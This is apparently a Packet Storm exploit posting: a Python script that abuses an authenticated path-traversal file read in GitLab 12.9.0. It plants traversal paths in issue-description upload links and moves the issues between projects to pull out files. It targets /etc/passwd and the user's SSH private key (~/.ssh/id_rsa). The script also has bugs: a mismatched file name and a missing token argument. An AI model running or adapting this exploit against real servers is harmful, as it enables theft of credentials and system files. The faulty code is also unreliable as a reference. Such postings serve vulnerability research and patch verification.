what you don't know can hurt you

Gitlab 12.9.0 Arbitrary File Read

Gitlab 12.9.0 Arbitrary File Read
Posted Nov 19, 2020
Authored by Jasper Rasenberg

Gitlab version 12.9.0 authenticated arbitrary file read exploit. A file read vulnerability was previously discovered in this version in May of 2020 by KouroshRZ.

tags | exploit, arbitrary
MD5 | 3a88b97ad457af5b8a78720ceabce567

Gitlab 12.9.0 Arbitrary File Read

Change Mirror Download
# Exploit Title: Gitlab 12.9.0 - Arbitrary File Read (Authenticated)
# Google Dork: -
# Date: 11/15/2020
# Exploit Author: Jasper Rasenberg
# Vendor Homepage: https://about.gitlab.com
# Software Link: https://about.gitlab.com/install
# Version: tested on gitlab version 12.9.0
# Tested on: Kali Linux 2020.3



#You can create as many personal access tokens as you like from your GitLab profile.
# Sign in to GitLab.
# In the upper-right corner, click your avatar and select Settings.
# On the User Settings menu, select Access Tokens.
# Choose a name and optional expiry date for the token.
# Choose the desired scopes.
# Click the Create personal access token button.
# Save the personal access token somewhere safe. If you navigate away or refresh your page, and you did not save the token, you must create a new one.

# REFERENCE: https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html

# pip3 install gitlab
# pip3 install requests
# Use a client cert to verify SSL or set to False

import os
import requests
import json
from time import sleep
from gitlab import *

session = requests.Session()
session.verify = f'{os.getcwd()}/<cert.pem>' # or set session.verify = False

host = ''

def exploit(projectName, issueTitle, files, token):

gl = Gitlab(host, private_token=token, session=session)
gl.auth()
p1 = gl.projects.create({'name': f"{projectName}-1"})
p2 = gl.projects.create({'name': f"{projectName}-2"})

for i, f in enumerate(files):
stripped_f = f.rstrip('\n')
issue = p1.issues.create({ \
'title': f"{issueTitle}-{i}",
'description': \
"![a](/uploads/11111111111111111111111111111111/"\
f"../../../../../../../../../../../../../..{stripped_f})"})
print(issue.description)
sleep(3)
try:
issue.move(p2.id)
except Exception as e:
pass
sleep(3)

if __name__ == "__main__":

write_files = ['/etc/passwd', '~/.ssh/id_rsa']
with open('senstive_files', 'w') as sens:
for file in write_files:
sens.write(file)

files = list(open('sensitive_files', 'r'))
exploit('project-1', 'issue-1', files)

Login or Register to add favorites

File Archive:

December 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    22 Files
  • 2
    Dec 2nd
    33 Files
  • 3
    Dec 3rd
    16 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close